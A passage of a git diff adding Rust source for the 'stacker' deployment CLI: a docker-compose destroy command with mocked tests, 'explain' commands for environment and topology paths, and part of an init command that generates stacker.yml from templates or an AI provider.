!output.success() { + return Err(CliError::DeployFailed { + target: DeployTarget::Local, + reason: format!("docker compose down failed: {}", output.stderr.trim()), + }); + } + + Ok(()) +} + +impl CallableTrait for DestroyCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + let executor = ShellExecutor; + + run_destroy(&project_dir, self.volumes, self.confirm, &executor)?; + eprintln!("✓ Stack destroyed successfully"); + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::install_runner::CommandOutput; + use std::sync::Mutex; + + struct MockExecutor { + calls: Mutex)>>, + } + + impl MockExecutor { + fn new() -> Self { + Self { + calls: Mutex::new(Vec::new()), + } + } + + fn recorded_calls(&self) -> Vec<(String, Vec)> { + self.calls.lock().unwrap().clone() + } + } + + impl CommandExecutor for MockExecutor { + fn execute(&self, program: &str, args: &[&str]) -> Result { + self.calls.lock().unwrap().push(( + program.to_string(), + args.iter().map(|s| s.to_string()).collect(), + )); + Ok(CommandOutput { + exit_code: 0, + stdout: String::new(), + stderr: String::new(), + }) + } + } + + fn setup_with_compose() -> tempfile::TempDir { + let dir = tempfile::TempDir::new().unwrap(); + let stacker_dir = dir.path().join(".stacker"); + std::fs::create_dir_all(&stacker_dir).unwrap(); + std::fs::write(stacker_dir.join("docker-compose.yml"), "version: '3.8'\n").unwrap(); + dir + } + + #[test] + fn test_destroy_constructs_down_command() { + let dir = setup_with_compose(); + let executor = MockExecutor::new(); + + run_destroy(dir.path(), false, true, &executor).unwrap(); + + let calls = executor.recorded_calls(); + assert_eq!(calls.len(), 1); + assert_eq!(calls[0].0, "docker"); + assert!(calls[0].1.contains(&"down".to_string())); + } + + #[test] + fn test_destroy_with_volumes_flag() { + let args = build_destroy_args("/path/compose.yml", true); + assert!(args.contains(&"--volumes".to_string())); + } + + #[test] + fn test_destroy_requires_confirmation() { + let dir = setup_with_compose(); + let executor = MockExecutor::new(); + + let result = run_destroy(dir.path(), false, false, &executor); + assert!(result.is_err()); + let err = format!("{}", result.unwrap_err()); + assert!(err.contains("confirm") || err.contains("Destroy")); + } + + #[test] + fn test_destroy_no_deployment_returns_error() { + let dir = tempfile::TempDir::new().unwrap(); + let executor = MockExecutor::new(); + + let result = run_destroy(dir.path(), false, true, &executor); + assert!(result.is_err()); + let err = format!("{}", result.unwrap_err()); + assert!(err.contains("No deployment found") || err.contains("Nothing to destroy")); + } + + #[test] + fn test_destroy_uses_configured_compose_file_for_local_target() { + let dir = tempfile::TempDir::new().unwrap(); + std::fs::create_dir_all(dir.path().join("docker/local")).unwrap(); + std::fs::write( + dir.path().join("docker/local/compose.yml"), + "services: {}\n", + ) + .unwrap(); + std::fs::write( + dir.path().join(DEFAULT_CONFIG_FILE), + "name: demo\ndeploy:\n target: local\n compose_file: docker/local/compose.yml\n", + ) + .unwrap(); + + let executor = MockExecutor::new(); + run_destroy(dir.path(), false, true, &executor).unwrap(); + + let calls = executor.recorded_calls(); + assert_eq!(calls.len(), 1); + assert_eq!( + calls[0].1[2], + dir.path() + .join("docker/local/compose.yml") + .to_string_lossy() + ); + } +} diff --git a/stacker/stacker/src/console/commands/cli/explain.rs b/stacker/stacker/src/console/commands/cli/explain.rs new file mode 100644 index 0000000..1935160 --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/explain.rs @@ -0,0 +1,207 @@ +use std::path::{Path, PathBuf}; + +use crate::cli::config_parser::{ServiceDefinition, StackerConfig}; +use crate::cli::error::CliError; +use crate::console::commands::CallableTrait; +use crate::helpers::{remote_runtime_compose_path, remote_runtime_env_path}; +use crate::services::config_renderer::EnvRenderInput; +use crate::services::{ + build_explain_env, build_explain_topology, ExplainTopologyService, TypedErrorEnvelope, +}; + +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +pub struct ExplainEnvCommand { + pub app: String, + pub json: bool, +} + +impl ExplainEnvCommand { + pub fn new(app: String, json: bool) -> Self { + Self { app, json } + } +} + +pub struct ExplainTopologyCommand { + pub json: bool, +} + +impl ExplainTopologyCommand { + pub fn new(json: bool) -> Self { + Self { json } + } +} + +fn load_config(project_dir: &Path) -> Result { + StackerConfig::from_file(&project_dir.join(DEFAULT_CONFIG_FILE))? + .with_resolved_deploy_target(None) +} + +fn resolve_local_env_path(project_dir: &Path, config: &StackerConfig) -> Result { + let env_file = config + .resolve_environment_config(None)? + .and_then(|(_, env)| env.env_file) + .or_else(|| config.env_file.clone()) + .unwrap_or_else(|| PathBuf::from(".env")); + Ok(if env_file.is_absolute() { + env_file + } else { + project_dir.join(env_file) + }) +} + +fn resolve_local_compose_path( + project_dir: &Path, + config: &StackerConfig, +) -> Result { + let compose_file = config + .resolve_environment_config(None)? + .and_then(|(_, env)| env.compose_file) + .or_else(|| config.deploy.compose_file.clone()) + .unwrap_or_else(|| PathBuf::from(".stacker/docker-compose.yml")); + Ok(if compose_file.is_absolute() { + compose_file + } else { + project_dir.join(compose_file) + }) +} + +fn main_app_code(config: &StackerConfig) -> String { + config + .project + .identity + .clone() + .unwrap_or_else(|| "app".to_string()) +} + +fn resolve_service<'a>( + config: &'a StackerConfig, + app_code: &str, +) -> Result, CliError> { + if app_code == "app" || app_code == main_app_code(config) { + return Ok(None); + } + + config + .services + .iter() + .find(|service| service.name == app_code) + .map(Some) + .ok_or_else(|| { + TypedErrorEnvelope::invalid_request(format!( + "App or service '{app_code}' was not found in stacker.yml" + )) + .with_context("appCode", app_code) + .into() + }) +} + +fn build_env_input(config: &StackerConfig, app_code: &str) -> Result { + let service = resolve_service(config, app_code)?; + let mut input = EnvRenderInput { + base: config.env.clone(), + ..EnvRenderInput::default() + }; + if let Some(service) = service { + input.service = service.environment.clone(); + } else { + input.service = config.app.environment.clone(); + } + Ok(input) +} + +fn print_json(value: &T) -> Result<(), CliError> { + let rendered = serde_json::to_string_pretty(value).map_err(|err| { + CliError::ConfigValidation(format!("Failed to serialize explain output: {err}")) + })?; + println!("{rendered}"); + Ok(()) +} + +impl CallableTrait for ExplainEnvCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + let config = load_config(&project_dir)?; + let deployment_hash = config + .deploy + .deployment_hash + .clone() + .unwrap_or_else(|| "unbound".to_string()); + let local_env_path = resolve_local_env_path(&project_dir, &config)?; + let explain = build_explain_env( + &deployment_hash, + &self.app, + &local_env_path.to_string_lossy(), + remote_runtime_env_path(), + remote_runtime_compose_path(), + build_env_input(&config, &self.app)?, + ) + .map_err(|err| CliError::ConfigValidation(err.to_string()))?; + + if self.json { + print_json(&explain)?; + } else { + println!("Explain env for {}", explain.app_code); + println!( + " local authoring env: {}", + explain.local_authoring_env_path + ); + println!(" runtime env: {}", explain.runtime_env_path); + println!(" runtime compose: {}", explain.runtime_compose_path); + } + + Ok(()) + } +} + +impl CallableTrait for ExplainTopologyCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + let config = load_config(&project_dir)?; + let deployment_hash = config + .deploy + .deployment_hash + .clone() + .unwrap_or_else(|| "unbound".to_string()); + let local_env_path = resolve_local_env_path(&project_dir, &config)?; + let local_compose_path = resolve_local_compose_path(&project_dir, &config)?; + + let mut services = vec![ExplainTopologyService { + code: main_app_code(&config), + name: config.name.clone(), + enabled: true, + }]; + services.extend( + config + .services + .iter() + .map(|service| ExplainTopologyService { + code: service.name.clone(), + name: service.name.clone(), + enabled: true, + }), + ); + + let topology = build_explain_topology( + &deployment_hash, + &config.deploy.target.to_string(), + &local_compose_path.to_string_lossy(), + remote_runtime_compose_path(), + &local_env_path.to_string_lossy(), + remote_runtime_env_path(), + services, + ); + + if self.json { + print_json(&topology)?; + } else { + println!("Explain topology for {}", topology.deployment_hash); + println!(" local compose: {}", topology.local_compose_path); + println!(" runtime compose: {}", topology.runtime_compose_path); + println!(" local env: {}", topology.local_authoring_env_path); + println!(" runtime env: {}", topology.runtime_env_path); + } + + Ok(()) + } +} diff --git a/stacker/stacker/src/console/commands/cli/init.rs b/stacker/stacker/src/console/commands/cli/init.rs new file mode 100644 index 0000000..108ecb2 --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/init.rs @@ -0,0 +1,1906 @@ +use std::convert::TryFrom; +use std::io::{self, IsTerminal, Write}; +use std::path::{Path, PathBuf}; + +use crate::cli::ai_client::{create_provider, ollama_complete_streaming, AiProvider}; +use crate::cli::ai_scanner::{ + build_generation_request, generate_config_with_ai, strip_code_fences, +}; +use crate::cli::ai_scenarios::{ + detect_website_project_kind, is_qwen_website_scenario_model, load_scenario_manifest, + missing_required_vars, next_step_id, save_scenario_state, seed_website_scenario_state, + ScenarioSelection, ScenarioState, WEBSITE_DEPLOY_SCENARIO, +}; +use crate::cli::config_parser::{ + AiConfig, AiProviderType, AppType, ConfigBuilder, DomainConfig, ProxyConfig, ProxyType, + ServiceDefinition, SslMode, StackerConfig, +}; +use crate::cli::detector::{ + detect_workspace, DetectedComposeService, DiscoveredApp, RealFileSystem, WorkspaceDetection, +}; +use crate::cli::error::CliError; +use crate::cli::generator::compose::ComposeDefinition; +use crate::cli::generator::dockerfile::DockerfileBuilder; +use crate::console::commands::cli::ai::{build_system_prompt_base, run_ai_ask_with_system_prompt}; +use crate::console::commands::CallableTrait; + +/// Default config filename generated by `stacker init`. +pub const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +pub fn full_config_reference_example() -> &'static str { + r#"# ----------------------------------------------------------------------------- +# FULL COMMENTED REFERENCE (examples) +# Uncomment and adapt the sections you need. +# ----------------------------------------------------------------------------- +# organization: "acme-inc" +# project: +# # Optional: registered platform catalog stack code for remote cloud deploy. +# # If omitted, remote deploy uses stack_code "custom-stack" by default. +# identity: "your-registered-stack-code" +# env_file: ".env" +# env: +# LOG_LEVEL: "info" +# +# app: +# # type: static | node | python | rust | go | php | custom +# type: "node" +# path: "." +# # dockerfile: "Dockerfile" +# # image: "ghcr.io/your-org/your-image:latest" # usually for type: custom +# # build: +# # context: "." +# # args: +# # APP_ENV: "production" +# # ports: # explicit port mappings (override default) +# # - "8080:3000" +# # volumes: # volume mounts for the main app container +# # - "./data:/app/data" +# # - "app_uploads:/app/uploads" +# # environment: # per-app env vars (merged with top-level env) +# # NODE_ENV: "production" +# # DATABASE_URL: "postgres://app:${DB_PASSWORD}@postgres:5432/myapp" +# +# services: +# - name: "postgres" +# image: "postgres:16" +# ports: ["5432:5432"] +# environment: +# POSTGRES_DB: "app" +# POSTGRES_USER: "app" +# POSTGRES_PASSWORD: "change-me" +# volumes: +# - "postgres_data:/var/lib/postgresql/data" +# depends_on: [] +# +# proxy: +# # type: none | nginx | traefik +# type: "nginx" +# auto_detect: true +# domains: +# - domain: "app.example.com" +# # ssl: none | auto | manual +# ssl: "auto" +# upstream: "app:3000" +# # config: "./nginx.conf" +# +# deploy: +# # target: local | cloud | server +# target: "cloud" +# # compose_file: "docker-compose.yml" +# cloud: +# # provider: hetzner | digitalocean | aws | linode | vultr +# provider: "hetzner" +# # orchestrator: local | remote +# orchestrator: "remote" +# region: "nbg1" +# size: "cpx11" +# # install_image: "trydirect/install-service:latest" # local orchestrator only +# # remote_payload_file: "./stacker.remote.deploy.json" # remote orchestrator request payload +# # ssh_key: "~/.ssh/id_rsa" +# # server: +# # host: "203.0.113.10" +# # user: "root" +# # port: 22 +# # ssh_key: "~/.ssh/id_rsa" +# # registry: # Docker registry credentials for private images +# # username: "${DOCKER_USERNAME}" +# # password: "${DOCKER_PASSWORD}" +# # server: "docker.io" # optional, defaults to Docker Hub +# +# ai: +# enabled: true +# # provider: openai | anthropic | ollama | custom +# provider: "ollama" +# # model: "deepseek-r1:latest" +# # api_key: "${OPENAI_API_KEY}" +# # endpoint: "http://localhost:11434" +# timeout: 300 +# tasks: ["dockerfile", "compose"] +# +# monitoring: +# status_panel: true +# # healthcheck: +# # endpoint: "/health" +# # interval: "30s" +# # metrics: +# # enabled: true +# # telegraf: true +# +# hooks: +# # pre_build: "./scripts/pre-build.sh" +# # post_deploy: "./scripts/post-deploy.sh" +# # on_failure: "./scripts/on-failure.sh" +# -----------------------------------------------------------------------------"# +} + +/// `stacker init [--type static|node|python|rust|go|php] [--with-proxy] [--with-ai]` +/// +/// Detects the project type in the current directory and generates +/// a `stacker.yml` configuration file with sensible defaults. +/// +/// When `--with-ai` is used with an AI provider configured (via flags +/// or environment variables), Stacker scans the project deeply and +/// sends the context to the AI to generate a tailored `stacker.yml` +/// with appropriate services, proxy, monitoring, etc. +pub struct InitCommand { + pub app_type: Option, + pub with_proxy: bool, + pub with_ai: bool, + pub with_cloud: bool, + /// Override AI provider (openai, anthropic, ollama, custom) + pub ai_provider: Option, + /// Override AI model name + pub ai_model: Option, + /// Override AI API key + pub ai_api_key: Option, +} + +impl InitCommand { + pub fn new( + app_type: Option, + with_proxy: bool, + with_ai: bool, + with_cloud: bool, + ) -> Self { + Self { + app_type, + with_proxy, + with_ai, + with_cloud, + ai_provider: None, + ai_model: None, + ai_api_key: None, + } + } + + pub fn with_ai_options( + mut self, + provider: Option, + model: Option, + api_key: Option, + ) -> Self { + self.ai_provider = provider; + self.ai_model = model; + self.ai_api_key = api_key; + self + } +} + +/// Parse an app type string (e.g. "node", "static") into `AppType`. +fn parse_app_type(s: &str) -> Result { + let json = format!("\"{}\"", s.to_lowercase()); + serde_json::from_str::(&json).map_err(|_| { + CliError::ConfigValidation(format!( + "Unknown app type '{}'. Valid types: static, node, python, rust, go, php, custom", + s + )) + }) +} + +fn prompt_line(prompt: &str) -> Result { + print!("{}", prompt); + io::stdout().flush()?; + let mut input = String::new(); + io::stdin().read_line(&mut input)?; + Ok(input.trim().to_string()) +} + +fn prompt_with_default(prompt: &str, default: &str) -> Result { + let line = prompt_line(&format!("{} [{}]: ", prompt, default))?; + if line.is_empty() { + Ok(default.to_string()) + } else { + Ok(line) + } +} + +fn prompt_optional(prompt: &str, default: Option<&str>) -> Result, CliError> { + let formatted = match default { + Some(value) if !value.trim().is_empty() => format!("{} [{}]: ", prompt, value), + _ => format!("{}: ", prompt), + }; + let line = prompt_line(&formatted)?; + if line.is_empty() { + Ok(default + .map(str::trim) + .filter(|value| !value.is_empty()) + .map(ToOwned::to_owned)) + } else { + Ok(Some(line)) + } +} + +fn prompt_yes_no(prompt: &str, default_yes: bool) -> Result { + let suffix = if default_yes { "[Y/n]" } else { "[y/N]" }; + let line = prompt_line(&format!("{} {}: ", prompt, suffix))?; + if line.is_empty() { + return Ok(default_yes); + } + + match line.to_ascii_lowercase().as_str() { + "y" | "yes" => Ok(true), + "n" | "no" => Ok(false), + _ => Ok(default_yes), + } +} + +fn default_public_domain(config: &StackerConfig) -> String { + format!( + "{}.example.com", + config.name.replace(' ', "-").to_ascii_lowercase() + ) +} + +fn default_image_repository(state: &ScenarioState) -> String { + state + .vars + .get("image_repository") + .cloned() + .unwrap_or_else(|| { + let project_name = state + .vars + .get("project_name") + .cloned() + .unwrap_or_else(|| "website".to_string()) + .replace(' ', "-") + .to_ascii_lowercase(); + format!("ghcr.io/your-org/{project_name}") + }) +} + +fn default_cloud_region(provider: &str) -> &'static str { + match provider { + "hetzner" => "nbg1", + "digitalocean" => "fra1", + "linode" => "eu-central", + "vultr" => "fra", + "aws" => "eu-central-1", + _ => "nbg1", + } +} + +fn default_cloud_size(provider: &str) -> &'static str { + match provider { + "hetzner" => "cpx11", + "digitalocean" => "s-1vcpu-1gb", + "linode" => "g6-nanode-1", + "vultr" => "vc2-1c-1gb", + "aws" => "t3.micro", + _ => "cpx11", + } +} + +fn collect_website_scenario_inputs( + project_dir: &Path, + config: &StackerConfig, + state: &mut ScenarioState, +) -> Result<(), CliError> { + let manifest = load_scenario_manifest(project_dir, WEBSITE_DEPLOY_SCENARIO)?; + + if !state.vars.contains_key("repo_url") { + if let Some(repo_url) = prompt_optional( + "Git repository URL (optional, used for transcript/image hints)", + None, + )? { + state.vars.insert("repo_url".to_string(), repo_url); + } + } + + if !state.vars.contains_key("image_repository") { + let default_repository = default_image_repository(state); + state + .vars + .entry("image_repository".to_string()) + .or_insert(default_repository); + } + + for field in missing_required_vars(&manifest, state) { + match field.as_str() { + "public_domain" => { + let value = prompt_with_default("Public domain", &default_public_domain(config))?; + state.vars.insert(field, value); + } + "image_repository" => { + let value = + prompt_with_default("Image repository", &default_image_repository(state))?; + state.vars.insert(field, value); + } + "image_tag" => { + let value = prompt_with_default("Image tag", "latest")?; + state.vars.insert(field, value); + } + "cloud_provider" => { + let value = prompt_with_default( + "Cloud provider (hetzner|digitalocean|aws|linode|vultr)", + "hetzner", + )?; + state.vars.insert(field, value); + } + "cloud_region" => { + let provider = state + .vars + .get("cloud_provider") + .map(String::as_str) + .unwrap_or("hetzner"); + let value = prompt_with_default("Cloud region", default_cloud_region(provider))?; + state.vars.insert(field, value); + } + "cloud_size" => { + let provider = state + .vars + .get("cloud_provider") + .map(String::as_str) + .unwrap_or("hetzner"); + let value = prompt_with_default("Cloud size", default_cloud_size(provider))?; + state.vars.insert(field, value); + } + _ => {} + } + } + + Ok(()) +} + +fn maybe_bootstrap_website_scenario( + project_dir: &Path, + config_path: &Path, + config: &StackerConfig, + ai_runtime: Option<(&AiConfig, &dyn AiProvider)>, +) -> Result<(), CliError> { + let Some((ai_config, provider)) = ai_runtime else { + return Ok(()); + }; + + let Some(project_kind) = detect_website_project_kind(project_dir, config) else { + return Ok(()); + }; + + if !is_qwen_website_scenario_model(ai_config) { + eprintln!( + "💡 Website deployment scenario available for Ollama qwen2.5-code/qwen2.5-coder via `stacker ai ask \"continue\" --scenario website-deploy --step init-validate`." + ); + return Ok(()); + } + + if !io::stdin().is_terminal() || !io::stdout().is_terminal() { + eprintln!( + "💡 Qwen website deployment scenario available: `stacker ai ask \"continue\" --scenario website-deploy --step init-validate`." + ); + return Ok(()); + } + + if !prompt_yes_no( + &format!( + "Start the {} deployment scenario now?", + project_kind.display_name() + ), + true, + )? { + eprintln!( + "💡 Continue later with: `stacker ai ask \"continue\" --scenario website-deploy --step init-validate`." + ); + return Ok(()); + } + + let mut state = + seed_website_scenario_state(project_dir, config_path, config, ai_config, &project_kind); + collect_website_scenario_inputs(project_dir, config, &mut state)?; + let state_path = save_scenario_state(project_dir, &state)?; + let selection = + ScenarioSelection::new(WEBSITE_DEPLOY_SCENARIO, Some(state.current_step.clone())); + let system_prompt = build_system_prompt_base(project_dir, ai_config, Some(&selection), true)?; + let question = format!( + "Start the {} deployment scenario at the current step. Use the saved scenario variables and current project files. Give the exact next commands, validations, and the next step only. If any required value is still missing, ask for it explicitly.", + project_kind.display_name() + ); + let response = run_ai_ask_with_system_prompt(&question, None, provider, &system_prompt)?; + + eprintln!("💾 Saved AI scenario state to {}", state_path.display()); + println!("\n{}", response); + + if let Some(next_step) = + next_step_id(project_dir, WEBSITE_DEPLOY_SCENARIO, &state.current_step)? + { + eprintln!( + "💡 Continue later with: `stacker ai ask \"continue\" --scenario website-deploy --step {}`.", + next_step + ); + } + + Ok(()) +} + +/// Build an `AiConfig` from CLI flags and/or environment variables. +/// +/// Priority: CLI flag > environment variable > defaults. +pub fn resolve_ai_config( + ai_provider: Option<&str>, + ai_model: Option<&str>, + ai_api_key: Option<&str>, +) -> Result { + // Provider: flag > env > default (ollama) + let provider_str = ai_provider + .map(|s| s.to_string()) + .or_else(|| std::env::var("STACKER_AI_PROVIDER").ok()) + .unwrap_or_else(|| "ollama".to_string()); + + let provider = parse_ai_provider(&provider_str)?; + + // API key: flag > env (provider-specific) > env (generic) > None + let api_key = ai_api_key + .map(|s| s.to_string()) + .or_else(|| match provider { + AiProviderType::Openai => std::env::var("OPENAI_API_KEY").ok(), + AiProviderType::Anthropic => std::env::var("ANTHROPIC_API_KEY").ok(), + _ => None, + }) + .or_else(|| std::env::var("STACKER_AI_API_KEY").ok()); + + // Model: flag > env > None (provider default will be used) + let model = ai_model + .map(|s| s.to_string()) + .or_else(|| std::env::var("STACKER_AI_MODEL").ok()); + + // Endpoint from env + let endpoint = std::env::var("STACKER_AI_ENDPOINT").ok(); + + // Timeout: env > default (300s) + let timeout = std::env::var("STACKER_AI_TIMEOUT") + .ok() + .and_then(|v| v.parse::().ok()) + .unwrap_or(300); + + Ok(AiConfig { + enabled: true, + provider, + model, + api_key, + endpoint, + timeout, + tasks: vec!["dockerfile".to_string(), "compose".to_string()], + }) +} + +/// Parse an AI provider string into `AiProviderType`. +fn parse_ai_provider(s: &str) -> Result { + match s.to_lowercase().as_str() { + "openai" => Ok(AiProviderType::Openai), + "anthropic" => Ok(AiProviderType::Anthropic), + "ollama" => Ok(AiProviderType::Ollama), + "custom" => Ok(AiProviderType::Custom), + other => Err(CliError::ConfigValidation(format!( + "Unknown AI provider '{}'. Valid: openai, anthropic, ollama, custom", + other + ))), + } +} + +/// Generate a `stacker.yml` config in the target directory. +/// +/// This is extracted as a standalone function for testability — the +/// `InitCommand::call()` delegates here with `std::env::current_dir()`. +/// +/// NOTE: This function always uses template-based generation (no network calls). +/// For AI-powered generation, use `generate_config_full()` with explicit +/// provider options — that path is invoked by the real CLI binary. +pub fn generate_config( + project_dir: &Path, + app_type_override: Option<&str>, + with_proxy: bool, + with_ai: bool, +) -> Result { + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + + if config_path.exists() { + return Err(CliError::ConfigValidation(format!( + "{} already exists. Remove it first or edit it directly.", + DEFAULT_CONFIG_FILE + ))); + } + + generate_config_template_path( + project_dir, + &config_path, + app_type_override, + with_proxy, + with_ai, + ) +} + +/// Full config generation supporting AI provider options. +pub fn generate_config_full( + project_dir: &Path, + app_type_override: Option<&str>, + with_proxy: bool, + with_ai: bool, + ai_provider: Option<&str>, + ai_model: Option<&str>, + ai_api_key: Option<&str>, +) -> Result { + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + + // Don't overwrite existing config + if config_path.exists() { + return Err(CliError::ConfigValidation(format!( + "{} already exists. Remove it first or edit it directly.", + DEFAULT_CONFIG_FILE + ))); + } + + // If --with-ai is set, try AI-powered generation + if with_ai { + let ai_config = resolve_ai_config(ai_provider, ai_model, ai_api_key)?; + + match create_provider(&ai_config) { + Ok(provider) => { + match generate_config_ai_path( + project_dir, + &config_path, + provider.as_ref(), + &ai_config, + ) { + Ok(path) => return Ok(path), + Err(e) => { + eprintln!("\n⚠ AI generation failed: {}", e); + eprintln!(" Falling back to template-based generation."); + eprintln!(" Tip: make sure your Ollama model supports code generation."); + eprintln!(" Available models can be listed with: ollama list\n"); + } + } + } + Err(e) => { + eprintln!("\n⚠ AI provider not available: {}", e); + eprintln!(" Falling back to template-based generation."); + eprintln!(" Tip: start Ollama with: ollama serve\n"); + } + } + } + + // Template-based generation (original flow) + generate_config_template_path( + project_dir, + &config_path, + app_type_override, + with_proxy, + with_ai, + ) +} + +/// AI-powered config generation path. +fn generate_config_ai_path( + project_dir: &Path, + config_path: &Path, + provider: &dyn AiProvider, + ai_config: &AiConfig, +) -> Result { + eprintln!("🤖 Scanning project and generating config with AI..."); + + let yaml = if ai_config.provider == AiProviderType::Ollama { + let (system_prompt, user_prompt) = build_generation_request(project_dir); + eprintln!("🧠 AI reasoning (streaming)..."); + let raw = ollama_complete_streaming(ai_config, &user_prompt, &system_prompt)?; + eprintln!(); + let yaml = strip_code_fences(&raw); + + serde_yaml::from_str::(&yaml).map_err(|e| { + CliError::AiProviderError { + provider: "ollama".to_string(), + message: format!("AI generated invalid YAML: {}", e), + } + })?; + + yaml + } else { + generate_config_with_ai(project_dir, provider)? + }; + + // Validate it parses as StackerConfig + match StackerConfig::from_str(&yaml) { + Ok(_) => {} + Err(e) => { + // Save the raw AI output for debugging but warn + let debug_path = project_dir.join("stacker.yml.ai-draft"); + let _ = std::fs::write(&debug_path, &yaml); + return Err(CliError::ConfigValidation(format!( + "AI generated a config that failed validation: {}. \ + Raw output saved to stacker.yml.ai-draft for review.", + e + ))); + } + } + + // Write with header + let content = format!( + "# Stacker configuration — generated by `stacker init --with-ai`\n\ + # AI provider: {} (model: {})\n\ + # Review this file and adjust as needed before deploying.\n\ + # Docs: https://docs.try.direct/stacker\n\ + \n\ + {yaml}\n\ + \n\ + {}\n", + ai_config.provider, + ai_config.model.as_deref().unwrap_or("default"), + full_config_reference_example(), + ); + + std::fs::write(config_path, &content)?; + + Ok(config_path.to_path_buf()) +} + +/// Template-based config generation (the original flow). +fn generate_config_template_path( + project_dir: &Path, + config_path: &Path, + app_type_override: Option<&str>, + with_proxy: bool, + with_ai: bool, +) -> Result { + let fs = RealFileSystem; + let workspace_detection = detect_workspace(project_dir, &fs); + let primary_app = choose_primary_app(&workspace_detection); + let app_type = app_type_override + .map(parse_app_type) + .transpose()? + .unwrap_or_else(|| { + primary_app + .map(|app| app.app_type) + .unwrap_or(workspace_detection.root.app_type) + }); + + // Derive project name from directory name + let project_name = project_dir + .file_name() + .and_then(|n| n.to_str()) + .unwrap_or("my-app") + .to_string(); + + // Build config + let mut builder = ConfigBuilder::new() + .name(&project_name) + .version("0.1.0") + .app_type(app_type) + .app_path( + primary_app + .map(|app| app.path.clone()) + .unwrap_or_else(|| PathBuf::from(".")), + ); + + if let Some(app) = primary_app { + if let Some(dockerfile) = &app.dockerfile { + builder = builder.app_dockerfile(dockerfile.clone()); + } + } + + for service in importable_compose_services(&workspace_detection, primary_app) { + builder = builder.add_service(service); + } + + if with_proxy { + builder = builder.proxy(ProxyConfig { + proxy_type: ProxyType::Nginx, + domains: vec![DomainConfig { + domain: format!("{}.localhost", project_name), + ssl: SslMode::Auto, + upstream: "app:80".to_string(), + }], + ..ProxyConfig::default() + }); + } + + if with_ai { + builder = builder.ai(AiConfig { + enabled: true, + provider: AiProviderType::Ollama, + ..AiConfig::default() + }); + } + + let mut config = builder.build()?; + if app_type_override.is_none() { + config.deploy.compose_file = workspace_detection.recommended_compose_file.clone(); + } + + // Serialize to YAML, keeping generated configs compact and validation-clean. + let yaml = serialize_generated_config(&config)?; + + let scan_summary = render_scan_summary( + project_dir, + &workspace_detection, + primary_app, + &project_name, + ); + + // Write with a header comment + let content = format!( + "# Stacker configuration — generated by `stacker init`\n\ + # Docs: https://docs.try.direct/stacker\n\ + {scan_summary}\ + \n\ + {yaml}" + ); + + std::fs::write(config_path, &content)?; + + Ok(config_path.to_path_buf()) +} + +fn serialize_generated_config(config: &StackerConfig) -> Result { + let mut value = serde_yaml::to_value(config) + .map_err(|e| CliError::GeneratorError(format!("Failed to serialize config: {e}")))?; + + prune_generated_config_value(&mut value); + remove_disabled_generated_ai_section(&mut value); + + serde_yaml::to_string(&value) + .map_err(|e| CliError::GeneratorError(format!("Failed to serialize config: {e}"))) +} + +fn prune_generated_config_value(value: &mut serde_yaml::Value) { + match value { + serde_yaml::Value::Mapping(map) => { + let keys = map.keys().cloned().collect::>(); + for key in &keys { + if let Some(child) = map.get_mut(key) { + prune_generated_config_value(child); + } + } + + for key in keys { + if map.get(&key).is_some_and(is_noise_generated_config_value) { + map.remove(&key); + } + } + } + serde_yaml::Value::Sequence(items) => { + for item in items.iter_mut() { + prune_generated_config_value(item); + } + items.retain(|item| !is_noise_generated_config_value(item)); + } + _ => {} + } +} + +fn is_noise_generated_config_value(value: &serde_yaml::Value) -> bool { + match value { + serde_yaml::Value::Null => true, + serde_yaml::Value::Sequence(items) => items.is_empty(), + serde_yaml::Value::Mapping(map) => map.is_empty(), + _ => false, + } +} + +fn remove_disabled_generated_ai_section(value: &mut serde_yaml::Value) { + let serde_yaml::Value::Mapping(root) = value else { + return; + }; + + let ai_key = serde_yaml::Value::String("ai".to_string()); + let remove_ai = root + .get(&ai_key) + .and_then(serde_yaml::Value::as_mapping) + .and_then(|ai| ai.get(serde_yaml::Value::String("enabled".to_string()))) + .and_then(serde_yaml::Value::as_bool) + == Some(false); + + if remove_ai { + root.remove(&ai_key); + } +} + +fn choose_primary_app(workspace_detection: &WorkspaceDetection) -> Option<&DiscoveredApp> { + if workspace_detection.apps.is_empty() { + return None; + } + + if let Some(compose_file) = &workspace_detection.recommended_compose_file { + if let Some(stack) = workspace_detection + .compose_stacks + .iter() + .find(|stack| &stack.path == compose_file) + { + if let Some(app) = workspace_detection + .apps + .iter() + .find(|app| stack.services.iter().any(|service| service == &app.name)) + { + return Some(app); + } + } + } + + workspace_detection + .apps + .iter() + .find(|app| app.path == PathBuf::from(".")) + .or_else(|| { + workspace_detection + .apps + .iter() + .find(|app| app.has_dockerfile) + }) + .or_else(|| workspace_detection.apps.first()) +} + +fn render_scan_summary( + project_dir: &Path, + workspace_detection: &WorkspaceDetection, + primary_app: Option<&DiscoveredApp>, + project_name: &str, +) -> String { + let mut lines = Vec::new(); + + if let Some(app) = primary_app { + lines.push(format!( + "# Primary app selected for generated config: {} ({})", + app.path.display(), + app.app_type + )); + } else { + lines.push(format!( + "# No nested app candidates detected; using root project defaults for {}", + project_name + )); + } + + if !workspace_detection.apps.is_empty() { + lines.push(format!( + "# Discovered apps: {}", + workspace_detection + .apps + .iter() + .map(|app| format!("{} [{}]", app.path.display(), app.app_type)) + .collect::>() + .join(", ") + )); + } + + if let Some(compose_file) = &workspace_detection.recommended_compose_file { + lines.push(format!( + "# Reusing existing compose stack: {}", + compose_file.display() + )); + if let Some(stack) = workspace_detection + .compose_stacks + .iter() + .find(|stack| &stack.path == compose_file) + { + lines.push(format!( + "# Compose services detected: {}", + stack.services.join(", ") + )); + } + } + + for warning in infer_bootstrap_warnings(project_dir, workspace_detection) { + lines.push(format!("# WARNING: {}", warning)); + } + + if lines.is_empty() { + String::new() + } else { + format!("{}\n", lines.join("\n")) + } +} + +fn infer_bootstrap_warnings( + project_dir: &Path, + workspace_detection: &WorkspaceDetection, +) -> Vec { + let Some(compose_file) = 